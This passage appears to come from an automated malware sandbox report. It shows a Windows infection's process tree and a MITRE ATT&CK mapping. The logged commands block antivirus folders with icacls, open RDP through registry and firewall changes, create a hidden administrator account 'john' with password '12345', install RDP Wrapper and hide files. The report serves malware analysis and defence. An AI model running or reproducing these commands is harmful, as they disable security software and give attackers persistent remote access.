                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                      PID:4444
                                                                                                                                                                                                                                      • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                        C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        PID:1420
                                                                                                                                                                                                                                      • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                        C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        PID:2384
                                                                                                                                                                                                                                        • C:\ProgramData\Windows\rfusclient.exe
                                                                                                                                                                                                                                          C:\ProgramData\Windows\rfusclient.exe /tray
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:5436
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                              icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                              PID:4668
                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:5516
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                          icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:3216
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                          icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:4592
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                          icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:2260
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                          icacls "C:\Program Files (x86)\Microsoft JDX" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:4008
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                          icacls "C:\Program Files (x86)\Zaxar" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:1296
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                          icacls C:\KVRT_Data /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:2132
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                          taskkill /f /im Rar.exe
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                          PID:4332
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                          icacls "C:\Program Files\Enigma Software Group" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:4668
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                            icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                            PID:3932
                                                                                                                                                                                                                                        • C:\ProgramData\Microsoft\Intel\winlogon.exe
                                                                                                                                                                                                                                          "C:\ProgramData\Microsoft\Intel\winlogon.exe"
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                          PID:1460
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                          icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:4860
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                          taskkill /f /im Rar.exe
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                          PID:5276
                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:2272
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\rdp\pause.bat" "
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Checks computer location settings
                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                              PID:3516
                                                                                                                                                                                                                                          • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:4360
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                              timeout 3
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                                              PID:6012
                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:4736
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                icacls "C:\Program Files\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                PID:2120
                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:2412
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                  icacls "C:\Program Files (x86)\Panda Security" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                  PID:6052
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\chcp.com
                                                                                                                                                                                                                                                  chcp 1251
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:4056
                                                                                                                                                                                                                                                  • C:\rdp\Rar.exe
                                                                                                                                                                                                                                                    "Rar.exe" e -p555 db.rar
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                    PID:4908
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                    taskkill /f /im Rar.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                    PID:5784
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                    timeout 2
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                    PID:2168
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                    icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                    PID:5252
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                    icacls "C:\ProgramData\ESET" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                    PID:2296
                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:1896
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:3048
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\rdp\bat.bat" "
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:3384
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                              reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:1080
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:2548
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                                  netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                                                                                                                                  PID:5464
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                  net.exe user "john" "12345" /add
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:3900
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 user "john" "12345" /add
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:5152
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\chcp.com
                                                                                                                                                                                                                                                                      chcp 1251
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:3208
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                        net localgroup "Администраторы" "John" /add
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:5860
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                          net localgroup "Administratorzy" "John" /add
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:3980
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 localgroup "Administratorzy" "John" /add
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:2108
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                              net localgroup "Administrators" John /add
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:1596
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                                net localgroup "Пользователи удаленного рабочего стола" John /add
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:1824
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:5228
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                                    net localgroup "Пользователи удаленного управления" John /add
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:3512
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:2280
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                                        net localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:5548
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:3080
                                                                                                                                                                                                                                                                                          • C:\rdp\RDPWInst.exe
                                                                                                                                                                                                                                                                                            "RDPWInst.exe" -i -o
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Sets DLL path for service in the registry
                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                            • Modifies WinLogon
                                                                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                                                                            • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                            PID:5268
                                                                                                                                                                                                                                                                                            • C:\Windows\SYSTEM32\netsh.exe
                                                                                                                                                                                                                                                                                              netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                                                                                                                                              PID:4872
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                                            net localgroup "Usuarios de escritorio remoto" John /add
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:5836
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                                              net localgroup "Remote Desktop Users" John /add
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:640
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                                                net localgroup "Administradores" John /add
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:5872
                                                                                                                                                                                                                                                                                                • C:\rdp\RDPWInst.exe
                                                                                                                                                                                                                                                                                                  "RDPWInst.exe" -w
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Checks computer location settings
                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                  PID:3048
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\net.exe
                                                                                                                                                                                                                                                                                                  net accounts /maxpwage:unlimited
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:2224
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:4312
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                      attrib +s +h "C:\Program Files\RDP Wrapper\*.*"
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                      • Sets file to hidden
                                                                                                                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                      • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                      PID:5616
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                      attrib +s +h "C:\rdp"
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                      • Sets file to hidden
                                                                                                                                                                                                                                                                                                      • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                      PID:6128
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                                                                                                                                                      attrib +s +h "C:\Program Files\RDP Wrapper"
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                      • Sets file to hidden
                                                                                                                                                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                      • Views/modifies file attributes
                                                                                                                                                                                                                                                                                                      PID:4536
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                      reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:528
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                    timeout 2
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                    PID:3244
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                    icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                                                    PID:4172
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\net1 localgroup "Администраторы" "John" /add
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:3428
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:2792
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:3932
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                          PID:5172
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" John /add
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:2120
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                            icacls "C:\Windows\svchost.exe" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                            PID:4252
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                            icacls c:\programdata\Malwarebytes /deny Admin:(F)
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                            PID:4792
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                            icacls "c:\program files\Internet Explorer\bin" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                            PID:432
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                            icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                            PID:2256
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                            PID:5460
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                              icacls C:\Windows\speechstracing /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                                                                              PID:2076
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                            icacls "C:\Windows\svchost.exe" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                            PID:3880
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                                                            icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                                                                                            PID:2028
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:5076
                                                                                                                                                                                                                                                                                                            • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:5176
                                                                                                                                                                                                                                                                                                            • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:5360
                                                                                                                                                                                                                                                                                                            • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:3124
                                                                                                                                                                                                                                                                                                            • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:2292
                                                                                                                                                                                                                                                                                                            • C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              C:\Programdata\RealtekHD\taskhostw.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:3252

                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                            Reconnaissance

                                                                                                                                                                                                                                                                                                            Resource Development

                                                                                                                                                                                                                                                                                                            Initial Access

                                                                                                                                                                                                                                                                                                            Execution

                                                                                                                                                                                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1059

                                                                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                                                                            Persistence

                                                                                                                                                                                                                                                                                                            Account Manipulation

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1098

                                                                                                                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1547

                                                                                                                                                                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1547.001

                                                                                                                                                                                                                                                                                                            Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1547.004

                                                                                                                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1543

                                                                                                                                                                                                                                                                                                            Windows Service

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1543.003

                                                                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                                                                            Privilege Escalation

                                                                                                                                                                                                                                                                                                            Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1548

                                                                                                                                                                                                                                                                                                            Bypass User Account Control

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1548.002

                                                                                                                                                                                                                                                                                                            Account Manipulation

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1098

                                                                                                                                                                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1547

                                                                                                                                                                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                            2
                                                                                                                                                                                                                                                                                                            T1547.001

                                                                                                                                                                                                                                                                                                            Winlogon Helper DLL

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1547.004

                                                                                                                                                                                                                                                                                                            Create or Modify System Process

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1543

                                                                                                                                                                                                                                                                                                            Windows Service

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1543.003

                                                                                                                                                                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1053

                                                                                                                                                                                                                                                                                                            Defense Evasion

                                                                                                                                                                                                                                                                                                            Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1548

                                                                                                                                                                                                                                                                                                            Bypass User Account Control

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1548.002

                                                                                                                                                                                                                                                                                                            File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                            1
                                                                                                                                                                                                                                                                                                            T1222

                                                                                                                                                                                                                                                                                                            Hide Artifacts

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1564

                                                                                                                                                                                                                                                                                                            Hidden Files and Directories

                                                                                                                                                                                                                                                                                                            3
                                                                                                                                                                                                                                                                                                            T1564.001

                                                                                                                                                                                                                                                                                                            Impair Defenses

                                                                                                                                                                                                                                                                                                            5
